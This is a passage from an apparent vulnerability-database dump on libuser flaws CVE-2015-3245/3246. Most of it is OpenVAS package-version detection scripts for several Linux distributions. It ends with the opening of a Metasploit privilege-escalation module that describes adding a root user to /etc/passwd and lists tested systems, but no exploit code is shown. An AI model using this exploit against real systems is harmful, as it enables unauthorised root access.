value:\"$Date: 2018-09-28 15:36:28 +0200 (Fri, 28 Sep 2018) $\");\n script_name(\"Oracle Linux Local Check: ELSA-2015-1482\");\n script_tag(name:\"insight\", value:\"ELSA-2015-1482 - libuser security update. Please see the references for more insight.\");\n script_tag(name:\"solution\", value:\"Update the affected packages to the latest available version.\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"summary\", value:\"Oracle Linux Local Security Checks ELSA-2015-1482\");\n script_xref(name:\"URL\", value:\"http://linux.oracle.com/errata/ELSA-2015-1482.html\");\n script_cve_id(\"CVE-2015-3245\", \"CVE-2015-3246\");\n script_tag(name:\"cvss_base\", value:\"7.2\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:L/AC:L/Au:N/C:C/I:C/A:C\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/oracle_linux\", \"ssh/login/release\", re:\"ssh/login/release=OracleLinux6\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Eero Volotinen\");\n script_family(\"Oracle Linux Local Security Checks\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release) exit(0);\n\nres = \"\";\n\nif(release == \"OracleLinux6\")\n{\n if ((res = isrpmvuln(pkg:\"libuser\", rpm:\"libuser~0.56.13~8.el6_7\", rls:\"OracleLinux6\")) != NULL) {\n security_message(data:res);\n exit(0);\n }\n if ((res = isrpmvuln(pkg:\"libuser-devel\", rpm:\"libuser-devel~0.56.13~8.el6_7\", rls:\"OracleLinux6\")) != NULL) {\n security_message(data:res);\n exit(0);\n }\n if ((res = isrpmvuln(pkg:\"libuser-python\", rpm:\"libuser-python~0.56.13~8.el6_7\", rls:\"OracleLinux6\")) != NULL) {\n security_message(data:res);\n exit(0);\n }\n\n}\nif (__pkg_match) exit(99);\n exit(0);\n\n", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-03-17T23:00:05", "bulletinFamily": "scanner", "cvelist": ["CVE-2015-3246", "CVE-2015-3245"], "description": "The remote host is missing an update announced via the referenced Security Advisory.", "modified": "2020-03-13T00:00:00", "published": "2015-09-08T00:00:00", "id": "OPENVAS:1361412562310120278", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310120278", "type": "openvas", "title": "Amazon Linux: Security Advisory (ALAS-2015-572)", "sourceData": "# Copyright (C) 2015 Eero Volotinen\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (C) of their respective author(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.120278\");\n script_version(\"2020-03-13T13:19:50+0000\");\n script_tag(name:\"creation_date\", value:\"2015-09-08 13:22:26 +0200 (Tue, 08 Sep 2015)\");\n script_tag(name:\"last_modification\", value:\"2020-03-13 13:19:50 +0000 (Fri, 13 Mar 2020)\");\n script_name(\"Amazon Linux: Security Advisory (ALAS-2015-572)\");\n script_tag(name:\"insight\", value:\"It was found that libuser, as used in the chfn userhelper functionality, does not properly filter out newline characters, which allows an authenticated local attacker to corrupt the /etc/passwd file and cause denial-of-service against the system. (CVE-2015-3245 )A flaw was found in the way the libuser library handled the /etc/passwd file. A local attacker could use an application compiled against libuser (for example, userhelper) to manipulate the /etc/passwd file, which could result in a denial of service or possibly allow the attacker to escalate their privileges to root. (CVE-2015-3246 )\");\n script_tag(name:\"solution\", value:\"Run yum update usermode libuser to update your system.\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_xref(name:\"URL\", value:\"https://alas.aws.amazon.com/ALAS-2015-572.html\");\n script_cve_id(\"CVE-2015-3245\", \"CVE-2015-3246\");\n script_tag(name:\"cvss_base\", value:\"7.2\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:L/AC:L/Au:N/C:C/I:C/A:C\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/amazon_linux\", \"ssh/login/release\");\n script_category(ACT_GATHER_INFO);\n script_tag(name:\"summary\", value:\"The remote host is missing an update announced via the referenced Security Advisory.\");\n script_copyright(\"Copyright (C) 2015 Eero Volotinen\");\n script_family(\"Amazon Linux Local Security Checks\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\nreport = \"\";\n\nif(release == \"AMAZON\") {\n if(!isnull(res = isrpmvuln(pkg:\"usermode\", rpm:\"usermode~1.102~3.18.amzn1\", rls:\"AMAZON\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"usermode-debuginfo\", rpm:\"usermode-debuginfo~1.102~3.18.amzn1\", rls:\"AMAZON\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"libuser-python\", rpm:\"libuser-python~0.56.13~8.15.amzn1\", rls:\"AMAZON\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"libuser\", rpm:\"libuser~0.56.13~8.15.amzn1\", rls:\"AMAZON\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"libuser-debuginfo\", rpm:\"libuser-debuginfo~0.56.13~8.15.amzn1\", rls:\"AMAZON\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"libuser-devel\", rpm:\"libuser-devel~0.56.13~8.15.amzn1\", rls:\"AMAZON\"))) {\n report += res;\n }\n\n if(report != \"\") {\n security_message(data:report);\n } else if(__pkg_match) {\n exit(99);\n }\n exit(0);\n}\n\nexit(0);\n", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-05-29T18:36:07", "bulletinFamily": "scanner", "cvelist": ["CVE-2015-3246", "CVE-2015-3245"], "description": "The remote host is missing an update for the ", "modified": "2019-03-15T00:00:00", "published": "2015-07-31T00:00:00", "id": "OPENVAS:1361412562310869828", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310869828", "type": "openvas", "title": "Fedora Update for libuser FEDORA-2015-12301", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# Fedora Update for libuser FEDORA-2015-12301\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (C) 2015 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.869828\");\n script_version(\"$Revision: 14223 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2019-03-15 14:49:35 +0100 (Fri, 15 Mar 2019) $\");\n script_tag(name:\"creation_date\", value:\"2015-07-31 07:17:54 +0200 (Fri, 31 Jul 2015)\");\n script_cve_id(\"CVE-2015-3245\", \"CVE-2015-3246\");\n script_tag(name:\"cvss_base\", value:\"7.2\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:L/AC:L/Au:N/C:C/I:C/A:C\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_name(\"Fedora Update for libuser FEDORA-2015-12301\");\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'libuser'\n package(s) announced via the referenced advisory.\");\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable version is present on the target host.\");\n script_tag(name:\"affected\", value:\"libuser on Fedora 22\");\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n script_xref(name:\"FEDORA\", value:\"2015-12301\");\n script_xref(name:\"URL\", value:\"https://lists.fedoraproject.org/pipermail/package-announce/2015-July/162947.html\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2015 Greenbone Networks GmbH\");\n script_family(\"Fedora Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/fedora\", \"ssh/login/rpms\", re:\"ssh/login/release=FC22\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\n\nif(release == \"FC22\")\n{\n\n if ((res = isrpmvuln(pkg:\"libuser\", rpm:\"libuser~0.62~1.fc22\", rls:\"FC22\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-05-29T18:36:02", "bulletinFamily": "scanner", "cvelist": ["CVE-2015-3246", "CVE-2015-3245"], "description": "Check the version of libuser", "modified": "2019-03-08T00:00:00", "published": "2015-08-10T00:00:00", "id": "OPENVAS:1361412562310882230", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310882230", "type": "openvas", "title": "CentOS Update for libuser CESA-2015:1483 centos7", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# CentOS Update for libuser CESA-2015:1483 centos7\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (C) 2015 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.882230\");\n script_version(\"$Revision: 14058 $\");\n script_cve_id(\"CVE-2015-3245\", \"CVE-2015-3246\");\n script_tag(name:\"cvss_base\", value:\"7.2\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:L/AC:L/Au:N/C:C/I:C/A:C\");\n script_tag(name:\"last_modification\", value:\"$Date: 2019-03-08 14:25:52 +0100 (Fri, 08 Mar 2019) $\");\n script_tag(name:\"creation_date\", value:\"2015-08-10 12:58:28 +0530 (Mon, 10 Aug 2015)\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_name(\"CentOS Update for libuser CESA-2015:1483 centos7\");\n script_tag(name:\"summary\", value:\"Check the version of libuser\");\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable version is present on the target host.\");\n script_tag(name:\"insight\", value:\"The libuser library implements a standardized interface for manipulating\nand administering user and group accounts. Sample applications that are\nmodeled after applications from the shadow password suite (shadow-utils)\nare included in these packages.\n\nTwo flaws were found in the way the libuser library handled the /etc/passwd\nfile. A local attacker could use an application compiled against libuser\n(for example, userhelper) to manipulate the /etc/passwd file, which could\nresult in a denial of service or possibly allow the attacker to escalate\ntheir privileges to root. (CVE-2015-3245, CVE-2015-3246)\n\nRed Hat would like to thank Qualys for reporting these issues.\n\nAll libuser users are advised to upgrade to these updated packages, which\ncontain a backported patch to correct this issue.\");\n script_tag(name:\"affected\", value:\"libuser on CentOS 7\");\n script_tag(name:\"solution\", value:\"Please install the updated packages.\");\n script_xref(name:\"CESA\", value:\"2015:1483\");\n script_xref(name:\"URL\", value:\"http://lists.centos.org/pipermail/centos-announce/2015-July/021257.html\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2015 Greenbone Networks GmbH\");\n script_family(\"CentOS Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/centos\", \"ssh/login/rpms\", re:\"ssh/login/release=CentOS7\");\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\n\nif(release == \"CentOS7\")\n{\n\n if ((res = isrpmvuln(pkg:\"libuser\", rpm:\"libuser~0.60~7.el7_1\", rls:\"CentOS7\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"libuser-devel\", rpm:\"libuser-devel~0.60~7.el7_1\", rls:\"CentOS7\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"libuser-python\", rpm:\"libuser-python~0.60~7.el7_1\", rls:\"CentOS7\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-05-29T18:36:49", "bulletinFamily": "scanner", "cvelist": ["CVE-2015-3246", "CVE-2015-3245"], "description": "The remote host is missing an update for the ", "modified": "2018-11-23T00:00:00", "published": "2015-08-03T00:00:00", "id": "OPENVAS:1361412562310871415", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310871415", "type": "openvas", "title": "RedHat Update for libuser RHSA-2015:1482-01", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# RedHat Update for libuser RHSA-2015:1482-01\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (C) 2015 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.871415\");\n script_version(\"$Revision: 12497 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2018-11-23 09:28:21 +0100 (Fri, 23 Nov 2018) $\");\n script_tag(name:\"creation_date\", value:\"2015-08-03 15:07:58 +0530 (Mon, 03 Aug 2015)\");\n script_cve_id(\"CVE-2015-3245\", \"CVE-2015-3246\");\n script_tag(name:\"cvss_base\", value:\"7.2\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:L/AC:L/Au:N/C:C/I:C/A:C\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_name(\"RedHat Update for libuser RHSA-2015:1482-01\");\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'libuser'\n package(s) announced via the referenced advisory.\");\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable version is present on the target host.\");\n script_tag(name:\"insight\", value:\"The libuser library implements a standardized interface for manipulating\nand administering user and group accounts. Sample applications that are\nmodeled after applications from the shadow password suite (shadow-utils)\nare included in these packages.\n\nTwo flaws were found in the way the libuser library handled the /etc/passwd\nfile. A local attacker could use an application compiled against libuser\n(for example, userhelper) to manipulate the /etc/passwd file, which could\nresult in a denial of service or possibly allow the attacker to escalate\ntheir privileges to root. (CVE-2015-3245, CVE-2015-3246)\n\nRed Hat would like to thank Qualys for reporting these issues.\n\nAll libuser users are advised to upgrade to these updated packages, which\ncontain a backported patch to correct this issue.\");\n script_tag(name:\"affected\", value:\"libuser on Red Hat Enterprise Linux Desktop (v. 6),\n Red Hat Enterprise Linux Server (v. 6),\n Red Hat Enterprise Linux Workstation (v. 6)\");\n script_tag(name:\"solution\", value:\"Please Install the Updated Packages.\");\n script_xref(name:\"RHSA\", value:\"2015:1482-01\");\n script_xref(name:\"URL\", value:\"https://www.redhat.com/archives/rhsa-announce/2015-July/msg00042.html\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2015 Greenbone Networks GmbH\");\n script_family(\"Red Hat Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/rhel\", \"ssh/login/rpms\", re:\"ssh/login/release=RHENT_6\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release) exit(0);\n\nres = \"\";\n\nif(release == \"RHENT_6\")\n{\n\n if ((res = isrpmvuln(pkg:\"libuser\", rpm:\"libuser~0.56.13~8.el6_7\", rls:\"RHENT_6\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"libuser-debuginfo\", rpm:\"libuser-debuginfo~0.56.13~8.el6_7\", rls:\"RHENT_6\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"libuser-python\", rpm:\"libuser-python~0.56.13~8.el6_7\", rls:\"RHENT_6\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-05-29T18:36:09", "bulletinFamily": "scanner", "cvelist": ["CVE-2015-3246", "CVE-2015-3245"], "description": "Mageia Linux Local Security Checks mgasa-2015-0278", "modified": "2018-09-28T00:00:00", "published": "2015-10-15T00:00:00", "id": "OPENVAS:1361412562310130100", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310130100", "type": "openvas", "title": "Mageia Linux Local Check: mgasa-2015-0278", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n# $Id: mgasa-2015-0278.nasl 11692 2018-09-28 16:55:19Z cfischer $\n#\n# Mageia Linux security check\n#\n# Authors:\n# Eero Volotinen <eero.volotinen@solinor.com>\n#\n# Copyright:\n# Copyright (c) 2015 Eero Volotinen, http://www.solinor.com\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.130100\");\n script_version(\"$Revision: 11692 $\");\n script_tag(name:\"creation_date\", value:\"2015-10-15 10:42:42 +0300 (Thu, 15 Oct 2015)\");\n script_tag(name:\"last_modification\", value:\"$Date: 2018-09-28 18:55:19 +0200 (Fri, 28 Sep 2018) $\");\n script_name(\"Mageia Linux Local Check: mgasa-2015-0278\");\n script_tag(name:\"insight\", value:\"Two flaws were found in the way the libuser library handled the /etc/passwd file. A local attacker could use an application compiled against libuser (for example, userhelper) to manipulate the /etc/passwd file, which could result in a denial of service or possibly allow the attacker to escalate their privileges to root (CVE-2015-3245, CVE-2015-3246).\");\n script_tag(name:\"solution\", value:\"Update the affected packages to the latest available version.\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_xref(name:\"URL\", value:\"https://advisories.mageia.org/MGASA-2015-0278.html\");\n script_cve_id(\"CVE-2015-3245\", \"CVE-2015-3246\");\n script_tag(name:\"cvss_base\", value:\"7.2\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:L/AC:L/Au:N/C:C/I:C/A:C\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/mageia_linux\", \"ssh/login/release\", re:\"ssh/login/release=MAGEIA5\");\n script_category(ACT_GATHER_INFO);\n script_tag(name:\"summary\", value:\"Mageia Linux Local Security Checks mgasa-2015-0278\");\n script_copyright(\"Eero Volotinen\");\n script_family(\"Mageia Linux Local Security Checks\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release) exit(0);\n\nres = \"\";\n\nif(release == \"MAGEIA5\")\n{\nif ((res = isrpmvuln(pkg:\"libuser\", rpm:\"libuser~0.60~5.1.mga5\", rls:\"MAGEIA5\")) != NULL) {\n security_message(data:res);\n exit(0);\n}\nif (__pkg_match) exit(99);\n exit(0);\n}\n", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-01-31T18:37:19", "bulletinFamily": "scanner", "cvelist": ["CVE-2015-3246"], "description": "The remote host is missing an update for the ", "modified": "2020-01-31T00:00:00", "published": "2015-09-18T00:00:00", "id": "OPENVAS:1361412562310850683", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310850683", "type": "openvas", "title": "openSUSE: Security Advisory for libuser (openSUSE-SU-2015:1332-1)", "sourceData": "# Copyright (C) 2015 Greenbone Networks GmbH\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (C) of their respective author(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.850683\");\n script_version(\"2020-01-31T08:23:39+0000\");\n script_tag(name:\"last_modification\", value:\"2020-01-31 08:23:39 +0000 (Fri, 31 Jan 2020)\");\n script_tag(name:\"creation_date\", value:\"2015-09-18 10:39:24 +0200 (Fri, 18 Sep 2015)\");\n script_cve_id(\"CVE-2015-3246\");\n script_tag(name:\"cvss_base\", value:\"7.2\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:L/AC:L/Au:N/C:C/I:C/A:C\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_name(\"openSUSE: Security Advisory for libuser (openSUSE-SU-2015:1332-1)\");\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'libuser'\n package(s) announced via the referenced advisory.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable package version is present on the target host.\");\n\n script_tag(name:\"insight\", value:\"libuser was updated to fix on security issue.\n\n The following vulnerability was fixed:\n\n * CVE-2015-3246: local root exploit through passwd file handling\n (boo#937533)\");\n\n script_tag(name:\"affected\", value:\"libuser on openSUSE 13.2\");\n\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n script_xref(name:\"openSUSE-SU\", value:\"2015:1332-1\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2015 Greenbone Networks GmbH\");\n script_family(\"SuSE Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/suse\", \"ssh/login/rpms\", re:\"ssh/login/release=openSUSE13\\.2\");\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\nreport = \"\";\n\nif(release == \"openSUSE13.2\") {\n if(!isnull(res = isrpmvuln(pkg:\"libuser\", rpm:\"libuser~0.60~3.3.1\", rls:\"openSUSE13.2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"libuser-debuginfo\", rpm:\"libuser-debuginfo~0.60~3.3.1\", rls:\"openSUSE13.2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"libuser-debugsource\", rpm:\"libuser-debugsource~0.60~3.3.1\", rls:\"openSUSE13.2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"libuser-devel\", rpm:\"libuser-devel~0.60~3.3.1\", rls:\"openSUSE13.2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"libuser-python\", rpm:\"libuser-python~0.60~3.3.1\", rls:\"openSUSE13.2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"libuser-python-debuginfo\", rpm:\"libuser-python-debuginfo~0.60~3.3.1\", rls:\"openSUSE13.2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"libuser1\", rpm:\"libuser1~0.60~3.3.1\", rls:\"openSUSE13.2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"libuser1-debuginfo\", rpm:\"libuser1-debuginfo~0.60~3.3.1\", rls:\"openSUSE13.2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"libuser-lang\", rpm:\"libuser-lang~0.60~3.3.1\", rls:\"openSUSE13.2\"))) {\n report += res;\n }\n\n if(report != \"\") {\n security_message(data:report);\n } else if(__pkg_match) {\n exit(99);\n }\n exit(0);\n}\n\nexit(0);\n", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}], "exploitdb": [{"lastseen": "2018-05-24T14:21:52", "description": "Libuser - 'roothelper' Privilege Escalation (Metasploit). CVE-2015-3245,CVE-2015-3246. Local exploit for Linux platform. Tags: Metasploit Framework (MSF), Local", "published": "2018-05-16T00:00:00", "type": "exploitdb", "title": "Libuser - 'roothelper' Privilege Escalation (Metasploit)", "bulletinFamily": "exploit", "cvelist": ["CVE-2015-3246", "CVE-2015-3245"], "modified": "2018-05-16T00:00:00", "id": "EDB-ID:44633", "href": "https://www.exploit-db.com/exploits/44633/", "sourceData": "##\r\n# This module requires Metasploit: https://metasploit.com/download\r\n# Current source: https://github.com/rapid7/metasploit-framework\r\n##\r\n\r\nclass MetasploitModule < Msf::Exploit::Local\r\n Rank = GreatRanking\r\n\r\n include Msf::Post::File\r\n include Msf::Post::Linux::Priv\r\n include Msf::Post::Linux::System\r\n include Msf::Exploit::EXE\r\n include Msf::Exploit::FileDropper\r\n\r\n def initialize(info = {})\r\n super(update_info(info,\r\n 'Name' => 'Libuser roothelper Privilege Escalation',\r\n 'Description' => %q{\r\n This module attempts to gain root privileges on Red Hat based Linux\r\n systems, including RHEL, Fedora and CentOS, by exploiting a newline\r\n injection vulnerability in libuser and userhelper versions prior to\r\n 0.56.13-8 and version 0.60 before 0.60-7.\r\n\r\n This module makes use of the roothelper.c exploit from Qualys to\r\n insert a new user with UID=0 in /etc/passwd.\r\n\r\n Note, the password for the current user is required by userhelper.\r\n\r\n Note, on some systems, such as Fedora 11, the user entry for the\r\n current user in /etc/passwd will become corrupted and exploitation\r\n will fail.\r\n\r\n This module has been tested successfully on libuser packaged versions\r\n 0.56.13-4.el6 on CentOS 6.0 (x86_64);\r\n 0.56.13-5.el6 on CentOS 6.5 (x86_64);\r\n 0.60-5.el7 on CentOS 7.1-1503 (x86_64);\r\n 0.56.16-1.fc13 on Fedora 13 (i686);\r\n 0.59-1.fc19 on Fedora Desktop 19 (x86_64);\r\n 0.60-3.fc20 on Fedora Desktop 20 (x86_64);\r\n 0.60-6.fc21 on Fedora Desktop 21 (x86_64);\r\n 0.60-6.fc22 on Fedora Desktop 22 (x86_64);\r\n 0.56.13-5.el6 on Red Hat 6.6 (x86_64); and\r\n 0.60-5.el7 on Red Hat 7.0 (x86_64).\r\n\r\n RHEL 5 is vulnerable, however the installed version of glibc (2.5)\r\n is missing various functions required by roothelper.c.\r\n },\r\n 'License' => MSF_LICENSE,\r\n 'Author' =>\r\n [\r\n 'Qualys', # Discovery and C exploit\r\n 'Brendan Coles' # Metasploit\r\n ],\r\n 'DisclosureDate' => 'Jul 24 2015',\r\n 'Platform' => [ 'linux' ],\r\n 'Arch' => [ ARCH_X86, ARCH_X64 ],\r\n 'SessionTypes' => [ 'shell', 'meterpreter' ],\r\n 'Targets' => [[ 'Auto', {} ]],\r\n 'Privileged' => true,\r\n 'References' =>\r\n [\r\n [ 'AKA', 'roothelper.c' ],\r\n [ 'EDB', '37706' ],\r\n [ 'CVE', '2015-3245' ],\r\n [ 'CVE', '2015-3246' ],\r\n [ 'BID', '76021' ],\r\n [ 'BID', '76022' ],\r\n [ 'URL', 